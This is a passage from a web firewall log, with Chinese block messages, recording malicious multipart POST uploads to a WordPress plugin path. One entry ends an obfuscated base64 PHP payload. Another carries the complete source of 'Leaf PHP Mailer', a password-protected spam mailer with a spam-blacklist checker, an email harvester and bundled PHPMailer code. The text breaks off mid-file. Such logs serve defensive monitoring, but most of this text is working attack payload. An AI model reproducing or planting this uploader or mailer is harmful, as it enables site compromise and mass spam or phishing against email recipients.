lBdWx6amphcWpPd0owUUxFZmJibGJYbHVscWZyNjZuMysrTnUyMXp4TVNXeFk1TmRoc0NTNkt0UTQ3ckVTSldyWk9oZ3RMdVdqUDBwOHNxUnE1TmtjZG93TTlvK1MxcWdZelkxaldJSWgwdHpqaVlETGlNanNHd2h5dnJ1OU4zaEE2ellJaWxFYnRJZS9sSk9wNG15MGVTUUlzS1FaZElsRDZJU1dhMGlMQ1lzOEtsb0RIeS9MMUNackpDQ2l5cjBQbVFtTFArcHVFQ2hybVhqV0pQa1NGWkt3VWVXZVFzNjAxMTJIbXBPdncyZ2psZVVlYVYwMkFEdXA0ZmkvcVlqZHdScVJadTJ6UkhzV1ZxZEMyRmZRUS9CUElhb05NVS9DTEFaSHloRXpzY2pEeEFwdTQ4WFUxeno2WFNXMFZsdHF1TWFXUndaMlI5bFovalJSbHhqVDM5YnVWdHJvem1sMW15V3RlMnB3amN1RGxlMEFCZ1J1WGpJaGVUUmthYjc4OGdpY1VDWk9IbVUzSGlEVEh4QkZHN1hqb2Q5ZzlGRFRtYlprK2hrU0k1SjRvUW81cGFsd2tpVjl1YU9NSlRpcUtmdXUvei94NG5KNDhURCs1T09qL21ha0ZqS05ObllpT3lTRmFJZ0kzYVRHNGZrcEpVYkF1SkdSbUJmV05QK3VnTktMVERKWkxsb3VhQ3pSa2FuZjlFMlBwNWlEZWpSdXdyeFFrM1pYdE5paHpJQW1weC9MTWRmNXJtckFyK3J5YStmaWtpZWpPZXBoL2tDdzJXSVhKaEdIb05iNkJIMnMwWnQ4M3gvOWNLZ1FxSFhHM1o5TzdVZ240VzRacEoyYzNSMldEWE9UamRyaDFVMDgzQlVrTDgvVUU0UUNZaGw2UFRvVVQ4dDR0cFlSdVM3a2pGa2FYK2F1clhYQWpoS3VQcDB4bTNNeElSdWZpNlhRTFlST1lscFJDUmVJaTJqQW9ManRJN0ZMVmhTVmFNMktuUFc4VGFNRGoxNDNZcVU5QlFBZU8zZ2Flc1VFOXV2SGl1eGJQNHpUcnQvR3B2N2E2dG54dWJaNnVicHVuRjV0Sk5zaDV2aU1YeXJkVEtFM2UxUjRhZ1Z1Ymk4bXhVcVM5NUpHK2J0OXNGU1NkNlpFYVlKOU4zQUhkSFpIRlJoOUtBQ01wL2E1aWdZWGhpTStoV2o0OFBuMGU2V3dlaWhuU2g1dDk0dHkweGdLTjlQUVJMRFBTTXlRc3ZjOEIrdVFSNVQ2MVBwK09KWUVkWFlxdFdlVStrcWtLd2lMQ1JubmpxZDN5eUxvTFBvYk1CSGpsSDdrdVE4TThtdmtCNFh4QmZtWHlhYngvUEFERjRWNUdBaXNOSk9RU1AwQ2hRRW9tWnk1cldaUEVIRytGeFdxTkNBeUg1ay9vbUF1WFVKLzR6TjhwLzZQS2ZFd25WS2hGSEhIQXhFNWE5cDAxNTJWNlcvaytJQUlRMDhOeDRZbldVd0lXTlNjZ2lENGJJUldRdmZKMHcwcmhXU0xENC9NTHdBYWlVWWNzSDR1OHEwYUNyQjk2bzBvcW5IYUNJSzlZSzNONHZ4b3lUekNXZ1ZZbGxHc3orU011TmVGQWNZVlVyUmxoNEdXSElOOTRLakllWitWdEhoZnNxU2M3eDFIcXpEN241My9VWTZwT1J5ZldRZDd6WmlIWjRmaUYvNEovckpvQjViaTcxZEVLZjBrRE8xUkJvbXg4QUkvSDR6T1RtcmkyNTlBMVpEL3BEVFRPNGNYVnBFK3VtRTFaSkxPaGZGL1N1RFVRZGl3b2s2dzZpQVZDdmt3S05vM2FpSFkxQnA2Q0VkNEpqQXUrZjNXM3l2S1ZRNzRRTEJVendtbGpHU1FhTGU5ZkhST3N0eHZ6dWVCbHE4MXNWOUprR0k3ZnRkakZwQWo1UVZSU2xkd2swU3pRblRzY255U05JYnEwZjd5Y05vWXBVWUtlVUl2cEczS0l1bTJKQy94RkFLWlo1aU0wK2JhQUtIRmw2ZVYzUGdPVzRYRTJhSDlYYndOWVpLc3VzL0pTUnhDSFc2dXJPT3p3UkxhUkpaYTFIbTVTVDFrN2NuaEZFVUZDaG5UbnllOEpFVklibmZRYWxJTjM0VHJlZ0VwejZBMFh5VklxcDB2Q3R2Ulk4cXZ3bXJES2ErdFFhV1hlZWIyZDhNcStkMDdMQk9FeHNkSmt6eEJxRlphRnJ4M01tQ1R0K0I2Y3I5QlFhemt4WEVmTU9nNkZTZVpsMG1SU2xLNDkxSjhwZzFtbkxUVkt0Zm5BR2F5OFFicVRjd2wzOEQ2UTRDMUlGYUdNR1VmRWR3TjRJQlRZR3NKRUN3OC9nNWJkYStwK2VaVUlMbW5VOEFlbmQvYVIrbWQ3YlMzZnJjaGcwYlBmUXpGUW04WHlwZVg0Tm9INTBjU1M4TERmMEtyS1dZeGF1T0FiSTR6RCt3SVh6VEczcDE0YzVHNnUvVjNmd0NhTnNFTUxtRDVxcWM3Y01lVHFoeXI4K2FpU3EvTUg4cTFDOUd1Q2tQZmc3dkY0VWlIeUtPL2pzR21zc1lxaWw2OFdjNE80TDJoajc4Rk9xUkprRnhHOXhvMW1uZUNvVGVKVElKQU5WL1VWbnh6M291QmtVcExIclJsWWdrT3BtZk9KOEE1bzlsK3NQNGlYdDkrQ211d2dYR1QzVGZnaGY0TUg1aXFsN1l1OE52ZnFYdDUvZUMrZzJQak56dmkwSFNCNDhTakg0KzJBT2VJTnhpZWdqaHlhaUFSTGRVbnB0SERVYzB5aTBrNG0reC9kbmU5ekJMRGoyRWRrSmw4MlpGNU1qallVdm9aZVd5ZjFVOGdBMGNmMHpYSWxKSXhYL25PWFZnclVTYUdIa09WUFZac2RkRXQ5K3FsTkpZdk5oS2ZNeDV2aHJLV3hNdDd6bEtjWU5aMWdEbjBQUFg2L1dvR3VNaW8yODlRbC81NFMvL2t5RGhuejhNNllwTkJ3K1ZoZGJaeVlQQnlJNzZpaVUzMVgxUE1IaDdyM2ovYkRCNjZKYmM4VVJHQ0txZVpqTlVCdW4vQXlINy84cGcvWkZsVk9aNVNDc2pUNnQ1d2VMMGd0MkgybXZCL3Q4UzVsOTRGZXZaUnVTeGpGZ2NOOVFMZVRWV3ZVRDczNzc2QlR5NkUxVU94bWRxb0JEK1JJYnNSQVp0NFo1cHdzb0RQTXc5aHRVeE90b0tBMU1tNURaYm9YNjE5YVdMclRCN1JqN01aU0FXWG12Rm9zcGZqQjhHTU9Kc3RUUkJ3WW1MWllzbGJ6TXcyTFY5c1hlamZDNVBQeis0Nk9MR0gya3IrMXkzZUFOU2lSNXl5bEErSmsyaVVGNGsvY2p3YnE4OWQyOHdlc2dMVnFUUDgxaFVKb1ZnRXBtZDNPTkZGL1FIZXNoZUJCOG9iSlVlbmZoNWZMOXBzS2VUcGl1dFdyQk56NXNoNmNhZ3VISUROY1VLcm13T0M0MWptS2FuRjUxZDNTNzg1STI3YVJGRmpmOFhDWDE3c0FMS3MzZ0RVdlNBYml3N01aYnJudk16S252V2hIZHFjam45cDFNdE5iaW4xOVVMQ3JkdGFjV3hLaDR4ckZyMmI2NnFNT1VvVmVyQk1icTYxWFdIc0Y2N25HbndqUmw1ak5JRFl6bXhLck44YTQ2RU1pWmpERkxKVEt5R0wxTGZ2a2l2U0RwUEhSbEhhaFpsVWRicGJnaTM4S0lXdUhYMEtqR28zb014SGlBc1lyZHc3aUhhNHVYMGhWaVNTMEpudHNDbzYwODU1VUtQNDZoR1BFVFNva29BTjEyRVhqa1pUbXFxQlRnc1BSSjNOdjZ2aDBSektUS256cG5jNjRUYm9uQjVPWHFUZkJHTzJNSVVNQkxERHQyM3pONlhCdDY2N3M5aEg4NUFnZmFldkZ4Wlo2ZFA0Z1FuVzZCbTVHcWZmUERaS0pHQ0Zhdk80Q1lDUXRUajRQVTFhQ25Pa0NSRWlPeG1CSTNMMFBqeUMxNTNlWk83THZ4ZHJ4YlRRNlVEZzgwbUZKbmJ3Tm5SRHU4aGJQV3ZtTWRlZXphdGJYTnV3emZ6Z1ZQck9JdGhVWGZRcm9XZ1V1T3VxN2Vld3FlQlgyTlVnWkVQalUwTDFEN2RCblRXWUFqalBlWlgwdklIbm5lVVFDZndqUHZacVlRZDhyZ0JPMTdleVM5VkdRdVVRaFBSc0pLd3Z1aUg0ellpd2hKbFppQ3pONWMzbWlQelp0bDBuZjhTdzcxVFA5VjF3RTFrdzhLaDVGMEFlcXdOemh1Vnd1cTFtbE1HSjc2Zmg4RW51UXFpdmdQRE91NTJYak9DeU1XdEdmSDJHSGhkNkNVd21heUFxVlFYNlNFaUVTWGRrdEdlam10ZVhWdlFPWXRzSFcnKSkpKSkpKSkpKSkpKSk7'));\n?>\r\n--030891a20100e60d41122164231fd49e\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--030891a20100e60d41122164231fd49e\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--030891a20100e60d41122164231fd49e\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--030891a20100e60d41122164231fd49e--\r\n"]
["2026-05-26 21:39:26","170.205.30.68","POST","\/wp-content\/plugins\/hodda\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议10","POST \/wp-content\/plugins\/hodda\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=b5f48ab9b3fe7cca169e449ccba6fc47\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:166200\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--b5f48ab9b3fe7cca169e449ccba6fc47\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--b5f48ab9b3fe7cca169e449ccba6fc47\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--b5f48ab9b3fe7cca169e449ccba6fc47\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"hphfl.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\/**\n * Leaf PHP Mailer by [leafmailer.pw]\n * @version : 2.8\n**\/\n\n$password = \"lufix\"; \/\/ Password \n\nsession_start();\nerror_reporting(0);\nset_time_limit(0);\nini_set(\"memory_limit\",-1);\n\n$leaf['version']=\"2.8\";\n$leaf['website']=\"leafmailer.pw\";\n\n\n$sessioncode = md5(__FILE__);\nif(!empty($password) and $_SESSION[$sessioncode] != $password){\n if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {\n $_SESSION[$sessioncode] = $password;\n }\n else {\n print \"<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'><\/form><\/pre>\";\n exit; \n }\n}\n\nsession_write_close();\n\n\nfunction leafClear($text,$email){\n\t$e = explode('@', $email);\n\t$emailuser=$e[0];\n\t$emaildomain=$e[1];\n $text = str_replace(\"[-time-]\", date(\"m\/d\/Y h:i:s a\", time()), $text);\n $text = str_replace(\"[-email-]\", $email, $text);\n $text = str_replace(\"[-emailuser-]\", $emailuser, $text);\n $text = str_replace(\"[-emaildomain-]\", $emaildomain, $text);\n $text = str_replace(\"[-randomletters-]\", randString('abcdefghijklmnopqrstuvwxyz'), $text);\n $text = str_replace(\"[-randomstring-]\", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);\n $text = str_replace(\"[-randomnumber-]\", randString('0123456789'), $text);\n $text = str_replace(\"[-randommd5-]\", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);\n return $text; \n}\nfunction leafTrim($string){\n\t$string=urldecode($string);\n return stripslashes(trim($string));\n}\nfunction randString($consonants) {\n $length=rand(12,25);\n $password = '';\n for ($i = 0; $i < $length; $i++) {\n $password .= $consonants[(rand() % strlen($consonants))];\n }\n return $password;\n}\nfunction leafMailCheck($email){\n if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;\n else return false;\n}\n# Bulit-in BlackList Checker \nif(isset($_GET['check_ip'])){\n if (isset($_GET['host'])){\n $_GET['host']=explode(\",\", $_GET['host']);\n foreach ($_GET['host'] as $host) {\n if (checkdnsrr($_GET['check_ip'] . \".\" . $host . \".\", \"A\")) $check= \"<font color='red'> Listed<\/font>\";\n else $check= \"<font color='green'> Clean<\/font>\";\n print 'document.getElementById(\"'. $host.'\").innerHTML = \"'.$check.'\";';\n }\n\n exit;\n }\n $dnsbl_lookup = [\n \"all.s5h.net\",\n \"b.barracudacentral.org\",\n \"bl.spamcop.net\",\n \"blacklist.woody.ch\",\n \"bogons.cymru.com\",\n \"cbl.abuseat.org\",\n \"cdl.anti-spam.org.cn\",\n \"combined.abuse.ch\",\n \"db.wpbl.info\",\n \"dnsbl-1.uceprotect.net\",\n \"dnsbl-2.uceprotect.net\",\n \"dnsbl-3.uceprotect.net\",\n \"dnsbl.anticaptcha.net\",\n \"dnsbl.dronebl.org\",\n \"dnsbl.inps.de\",\n \"dnsbl.sorbs.net\",\n \"drone.abuse.ch\",\n \"duinv.aupads.org\",\n \"dul.dnsbl.sorbs.net\",\n \"dyna.spamrats.com\",\n \"dynip.rothen.com\",\n \"http.dnsbl.sorbs.net\",\n \"ips.backscatterer.org\",\n \"ix.dnsbl.manitu.net\",\n \"korea.services.net\",\n \"misc.dnsbl.sorbs.net\",\n \"noptr.spamrats.com\",\n \"orvedb.aupads.org\",\n \"pbl.spamhaus.org\",\n \"proxy.bl.gweep.ca\",\n \"psbl.surriel.com\",\n \"relays.bl.gweep.ca\",\n \"relays.nether.net\",\n \"sbl.spamhaus.org\",\n \"short.rbl.jp\",\n \"singular.ttk.pte.hu\",\n \"smtp.dnsbl.sorbs.net\",\n \"socks.dnsbl.sorbs.net\",\n \"spam.abuse.ch\",\n \"spam.dnsbl.anonmails.de\",\n \"spam.dnsbl.sorbs.net\",\n \"spam.spamrats.com\",\n \"spambot.bls.digibase.ca\",\n \"spamrbl.imp.ch\",\n \"spamsources.fabel.dk\",\n \"ubl.lashback.com\",\n \"ubl.unsubscore.com\",\n \"virus.rbl.jp\",\n \"web.dnsbl.sorbs.net\",\n \"wormrbl.imp.ch\",\n \"xbl.spamhaus.org\",\n \"z.mailspike.net\",\n \"zen.spamhaus.org\",\n \"zombie.dnsbl.sorbs.net\",\n ];\n $reverse_ip = implode(\".\", array_reverse(explode(\".\", $_GET['check_ip'])));\n $dnsT = count($dnsbl_lookup);\n leafheader();\n print '<div class=\"container col-lg-6\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Blacklist Checker<\/small><\/h3>';\n Print \"Checking <b>\".$_GET['check_ip'].\"<\/b> in <b>$dnsT<\/b> anti-spam databases:<br>\";\n $dnsN=\"\";\n print '<table >';\n for ($i=0; $i < $dnsT; $i=$i+10) { \n $host=\"\";\n $hosts=\"\";\n for($j=$i; $j<$i+10;$j++){\n $host=$dnsbl_lookup[$j];\n if(!empty($host)){\n print \"<tr> <td>$host<\/td> <td id='$host'>Checking ..<\/td><\/tr>\";\n $hosts .=\"$host,\";\n }\n }\n $dnsN.=\"<script src='?check_ip=$reverse_ip&host=\".$hosts.\"' type='text\/javascript'><\/script>\";\n }\n\n print '<\/table><\/div>';\n print $dnsN;\n exit;\n}\nif(isset($_GET['emailfilter'])){\n\n if(!empty($_FILES['fileToUpload']['tmp_name'])){\n $_POST['emailList']= file_get_contents($_FILES[\"fileToUpload\"][\"tmp_name\"]); \n }\n $_POST['emailList']=strtolower($_POST['emailList']);\n if($_GET['emailfilter']==\"ifram\"){\n if ($_POST['resulttype'] == \"download\"){\n header(\"Content-Description: File Transfer\"); \n header(\"Content-Type: application\/octet-stream\"); \n header(\"Content-Disposition: attachment; filename=emails\".time().\".txt\");\n }\n else {\n header(\"Content-Type: text\/plain\");\n }\n if($_POST['submit']==\"extract\"){\n $pattern = '\/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,4}\/';\n preg_match_all($pattern, $_POST['emailList'], $matches);\n foreach ($matches[0] as $email) {\n print $email.\"\\n\";\n }\n }\n elseif ($_POST['submit']==\"filter\") {\n $emails=explode(\"\\n\", $_POST['emailList']);\n $keywords=explode(\"\\n\", strtolower($_POST['keywords']));\n foreach ($emails as $email) {\n foreach ($keywords as $keyword ) {\n if(strstr($email, $keyword) ){\n print $email.\"\\n\";\n break;\n }\n \n }\n }\n\n }\n exit;\n }\n leafheader();\n print '<div class=\"container col-lg-4\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Email Filter<\/small><\/h3>';\n print '\n <form action=\"?emailfilter=ifram\" method=\"POST\" target=\"my-iframe\" enctype=\"multipart\/form-data\" onsubmit=\\'\\'>\n <label for=\"emailList\">Text <\/label><input type=\"file\" name=\"fileToUpload\" id=\"fileToUpload\"> \n or\n\n <textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"7\" id=\"textArea\"><\/textarea>\n <div class=\"col-lg-12\">\n <div class=\"radio\">\n <label>\n <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"here\" checked=\"\">\n Show Result in this page\n <\/label>\n <\/div>\n <div class=\"radio\">\n <label>\n <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"download\">\n Download Result (for big numbers)\n <\/label>\n <\/div>\n <\/div>\n <legend><h4>Extract Email<\/h4><\/legend>\n Detecting every email (100%) and order them line by line <br><br>\n <button type=\"submit\" name=\"submit\" value=\"extract\" class=\"btn btn-default btn-sm\">Start<\/button>\n <legend><h4>Filter Emails<\/h4><\/legend>\n <label >Keywords <small> ex: gmail.com or .co.uk<\/small> <\/label><textarea name=\"keywords\" id=\"keywords\" class=\"form-control\" rows=\"4\" id=\"textArea\">gmail.com\nhotmail.com\nyahoo.com\n.co.uk<\/textarea><br>\n\n <button type=\"submit\" name=\"submit\" value=\"filter\" class=\"btn btn-default btn-sm\">Start<\/button>\n <\/form>\n <label >Result <\/label>\n <iframe style=\"border:none;width:100%;\" name=\"my-iframe\" src=\"?emailfilter=ifram\" ><\/iframe>\n ';\n exit;\n\n}\n$html=\"checked\";\n$utf8=\"selected\";\n$bit8=\"selected\";\n\nif($_POST['action']==\"send\" or $_POST['action']==\"score\"){\n\n $senderEmail=leafTrim($_POST['senderEmail']);\n $senderName=leafTrim($_POST['senderName']);\n $replyTo=leafTrim($_POST['replyTo']);\n $subject=leafTrim($_POST['subject']);\n $emailList=leafTrim($_POST['emailList']);\n $messageType=leafTrim($_POST['messageType']);\n $messageLetter=leafTrim($_POST['messageLetter']);\n $encoding = $_POST['encode'];\n $charset = $_POST['charset'];\n $html=\"\";\n $utf8=\"\";\n $bit8=\"\";\n\n if($messageType==2) $plain=\"checked\";\n else $html=\"checked\";\n\n if($charset==\"ISO-8859-1\") $iso=\"selected\";\n else $utf8=\"selected\";\n\n if($encoding==\"7bit\") $bit7=\"selected\";\n elseif($encoding==\"binary\") $binary=\"selected\";\n elseif($encoding==\"base64\") $base64=\"selected\";\n elseif($encoding==\"quoted-printable\") $quotedprintable=\"selected\";\n else $bit8=\"selected\";\n\n\n\n}\nif($_POST['action']==\"view\"){\n\t$viewMessage=leafTrim($_POST['messageLetter']);\n\t$viewMessage=leafClear($viewMessage,\"user@domain.com\");\n\tif ($_POST['messageType']==2){\n\t\tprint \"<pre>\".htmlspecialchars($viewMessage).\"<\/pre>\";\n\t}\n\telse {\n\t\tprint $viewMessage;\n\t}\n\texit;\n}\n\n\n\nif(!isset($_POST['senderEmail'])){\n $senderEmail=\"support@\".str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']);\n if (!leafMailCheck($senderEmail)) $senderEmail=\"\";\n}\n\nclass PHPMailer\n{\n \/**\n * The PHPMailer Version number.\n * @var string\n *\/\n public $Version = '5.2.28';\n\n \/**\n * Email priority.\n * Options: null (default), 1 = High, 3 = Normal, 5 = low.\n * When null, the header is not set at all.\n * @var integer\n *\/\n public $Priority = null;\n\n \/**\n * The character set of the message.\n * @var string\n *\/\n public $CharSet = 'iso-8859-1';\n\n \/**\n * The MIME Content-type of the message.\n * @var string\n *\/\n public $ContentType = 'text\/plain';\n\n \/**\n * The message encoding.\n * Options: \"8bit\", \"7bit\", \"binary\", \"base64\", and \"quoted-printable\".\n * @var string\n *\/\n public $Encoding = '8bit';\n\n \/**\n * Holds the most recent mailer error message.\n * @var string\n *\/\n public $ErrorInfo = '';\n\n \/**\n * The From email address for the message.\n * @var string\n *\/\n public $From = 'root@localhost';\n\n \/**\n * The From name of the message.\n * @var string\n *\/\n public $FromName = 'Root User';\n\n \/**\n * The Sender email (Return-Path) of the message.\n * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.\n * @var string\n *\/\n public $Sender = '';\n\n \/**\n * The Return-Path of the message.\n * If empty, it will be set to either From or Sender.\n * @var string\n * @deprecated Email senders should never set a return-path header;\n * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.\n * @link https:\/\/tools.ietf.org\/html\/rfc5321#section-4.4 RFC5321 reference\n *\/\n public $ReturnPath = '';\n\n \/**\n * The Subject of the message.\n * @var string\n *\/\n public $Subject = '';\n\n \/**\n * An HTML or plain text message body.\n * If HTML then call isHTML(true).\n * @var string\n *\/\n public $Body = '';\n\n \/**\n * The plain-text message body.\n * This body can be read by mail clients that do not have HTML email\n * capability such as mutt & Eudora.\n * Clients that can read HTML will view the normal Body.\n * @var string\n *\/\n public $AltBody = '';\n\n \/**\n * An iCal message part body.\n * Only supported in simple alt or alt_inline message types\n * To generate iCal events, use the bundled extras\/EasyPeasyICS.php class or iCalcreator\n * @link http:\/\/sprain.ch\/blog\/downloads\/php-class-easypeasyics-create-ical-files-with-php\/\n * @link http:\/\/kigkonsult.se\/iCalcreator\/\n * @var string\n *\/\n public $Ical = '';\n\n \/**\n * The complete compiled MIME message body.\n * @access protected\n * @var string\n *\/\n protected $MIMEBody = '';\n\n \/**\n * The complete compiled MIME message headers.\n * @var string\n * @access protected\n *\/\n protected $MIMEHeader = '';\n\n \/**\n * Extra headers that createHeader() doesn't fold in.\n * @var string\n * @access protected\n *\/\n protected $mailHeader = '';\n\n \/**\n * Word-wrap the message body to this number of chars.\n * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.\n * @var integer\n *\/\n public $WordWrap = 0;\n\n \/**\n * Which method to use to send mail.\n * Options: \"mail\", \"sendmail\", or \"smtp\".\n * @var string\n *\/\n public $Mailer = 'mail';\n\n \/**\n * The path to the sendmail program.\n * @var string\n *\/\n public $Sendmail = '\/usr\/sbin\/sendmail';\n\n \/**\n * Whether mail() uses a fully sendmail-compatible MTA.\n * One which supports sendmail's \"-oi -f\" options.\n * @var boolean\n *\/\n public $UseSendmailOptions = true;\n\n \/**\n * Path to PHPMailer plugins.\n * Useful if the SMTP class is not in the PHP include path.\n * @var string\n * @deprecated Should not be needed now there is an autoloader.\n *\/\n public $PluginDir = '';\n\n \/**\n * The email address that a reading confirmation should be sent to, also known as read receipt.\n * @var string\n *\/\n public $ConfirmReadingTo = '';\n\n \/**\n * The hostname to use in the Message-ID header and as default HELO string.\n * If empty, PHPMailer attempts to find one with, in order,\n * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value\n * 'localhost.localdomain'.\n * @var string\n *\/\n public $Hostname = '';\n\n \/**\n * An ID to be used in the Message-ID header.\n * If empty, a unique id will be generated.\n * You can set your own, but it must be in the format \"<id@domain>\",\n * as defined in RFC5322 section 3.6.4 or it will be ignored.\n * @see https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n * @var string\n *\/\n public $MessageID = '';\n\n \/**\n * The message Date to be used in the Date header.\n * If empty, the current date will be added.\n * @var string\n *\/\n public $MessageDate = '';\n\n \/**\n * SMTP hosts.\n * Either a single hostname or multiple semicolon-delimited hostnames.\n * You can also specify a different port\n * for each host by using this format: [hostname:port]\n * (e.g. \"smtp1.example.com:25;smtp2.example.com\").\n * You can also specify encryption type, for example:\n * (e.g. \"tls:\/\/smtp1.example.com:587;ssl:\/\/smtp2.example.com:465\").\n * Hosts will be tried in order.\n * @var string\n *\/\n public $Host = 'localhost';\n\n \/**\n * The default SMTP server port.\n * @var integer\n * @TODO Why is this needed when the SMTP class takes care of it?\n *\/\n public $Port = 25;\n\n \/**\n * The SMTP HELO of the message.\n * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find\n * one with the same method described above for $Hostname.\n * @var string\n * @see PHPMailer::$Hostname\n *\/\n public $Helo = '';\n\n \/**\n * What kind of encryption to use on the SMTP connection.\n * Options: '', 'ssl' or 'tls'\n * @var string\n *\/\n public $SMTPSecure = '';\n\n \/**\n * Whether to enable TLS encryption automatically if a server supports it,\n * even if `SMTPSecure` is not set to 'tls'.\n * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.\n * @var boolean\n *\/\n public $SMTPAutoTLS = true;\n\n \/**\n * Whether to use SMTP authentication.\n * Uses the Username and Password properties.\n * @var boolean\n * @see PHPMailer::$Username\n * @see PHPMailer::$Password\n *\/\n public $SMTPAuth = false;\n\n \/**\n * Options array passed to stream_context_create when connecting via SMTP.\n * @var array\n *\/\n public $SMTPOptions = array();\n\n \/**\n * SMTP username.\n * @var string\n *\/\n public $Username = '';\n\n \/**\n * SMTP password.\n * @var string\n *\/\n public $Password = '';\n\n \/**\n * SMTP auth type.\n * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified\n * @var string\n *\/\n public $AuthType = '';\n\n \/**\n * SMTP realm.\n * Used for NTLM auth\n * @var string\n *\/\n public $Realm = '';\n\n \/**\n * SMTP workstation.\n * Used for NTLM auth\n * @var string\n *\/\n public $Workstation = '';\n\n \/**\n * The SMTP server timeout in seconds.\n * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2\n * @var integer\n *\/\n public $Timeout = 300;\n\n \/**\n * SMTP class debug output mode.\n * Debug output level.\n * Options:\n * * `0` No output\n * * `1` Commands\n * * `2` Data and commands\n * * `3` As 2 plus connection status\n * * `4` Low-level data output\n * @var integer\n * @see SMTP::$do_debug\n *\/\n public $SMTPDebug = 0;\n\n \/**\n * How to handle debug output.\n * Options:\n * * `echo` Output plain-text as-is, appropriate for CLI\n * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output\n * * `error_log` Output to error log as configured in php.ini\n *\n * Alternatively, you can provide a callable expecting two params: a message string and the debug level:\n * <code>\n * $mail->Debugoutput = function($str, $level) {echo \"debug level $level; message: $str\";};\n * <\/code>\n * @var string|callable\n * @see SMTP::$Debugoutput\n *\/\n public $Debugoutput = 'echo';\n\n \/**\n * Whether to keep SMTP connection open after each message.\n * If this is set to true then to close the connection\n * requires an explicit call to smtpClose().\n * @var boolean\n *\/\n public $SMTPKeepAlive = false;\n\n \/**\n * Whether to split multiple to addresses into multiple messages\n * or send them all in one message.\n * Only supported in `mail` and `sendmail` transports, not in SMTP.\n * @var boolean\n *\/\n public $SingleTo = false;\n\n \/**\n * Storage for addresses when SingleTo is enabled.\n * @var array\n * @TODO This should really not be public\n *\/\n public $SingleToArray = array();\n\n \/**\n * Whether to generate VERP addresses on send.\n * Only applicable when sending via SMTP.\n * @link https:\/\/en.wikipedia.org\/wiki\/Variable_envelope_return_path\n * @link http:\/\/www.postfix.org\/VERP_README.html Postfix VERP info\n * @var boolean\n *\/\n public $do_verp = false;\n\n \/**\n * Whether to allow sending messages with an empty body.\n * @var boolean\n *\/\n public $AllowEmpty = false;\n\n \/**\n * The default line ending.\n * @note The default remains \"\\n\". We force CRLF where we know\n * it must be used via self::CRLF.\n * @var string\n *\/\n public $LE = \"\\n\";\n\n \/**\n * DKIM selector.\n * @var string\n *\/\n public $DKIM_selector = '';\n\n \/**\n * DKIM Identity.\n * Usually the email address used as the source of the email.\n * @var string\n *\/\n public $DKIM_identity = '';\n\n \/**\n * DKIM passphrase.\n * Used if your key is encrypted.\n * @var string\n *\/\n public $DKIM_passphrase = '';\n\n \/**\n * DKIM signing domain name.\n * @example 'example.com'\n * @var string\n *\/\n public $DKIM_domain = '';\n\n \/**\n * DKIM private key file path.\n * @var string\n *\/\n public $DKIM_private = '';\n\n \/**\n * DKIM private key string.\n * If set, takes precedence over `$DKIM_private`.\n * @var string\n *\/\n public $DKIM_private_string = '';\n\n \/**\n * Callback Action function name.\n *\n * The function that handles the result of the send email action.\n * It is called out by send() for each email sent.\n *\n * Value can be any php callable: http:\/\/www.php.net\/is_callable\n *\n * Parameters:\n * boolean $result result of the send action\n * array $to email addresses of the recipients\n * array $cc cc email addresses\n * array $bcc bcc email addresses\n * string $subject the subject\n * string $body the email body\n * string $from email address of sender\n * @var string\n *\/\n public $action_function = '';\n\n \/**\n * What to put in the X-Mailer header.\n * Options: An empty string for PHPMailer default, whitespace for none, or a string to use\n * @var string\n *\/\n public $XMailer = ' ';\n\n \/**\n * Which validator to use by default when validating email addresses.\n * May be a callable to inject your own validator, but there are several built-in validators.\n * @see PHPMailer::validateAddress()\n * @var 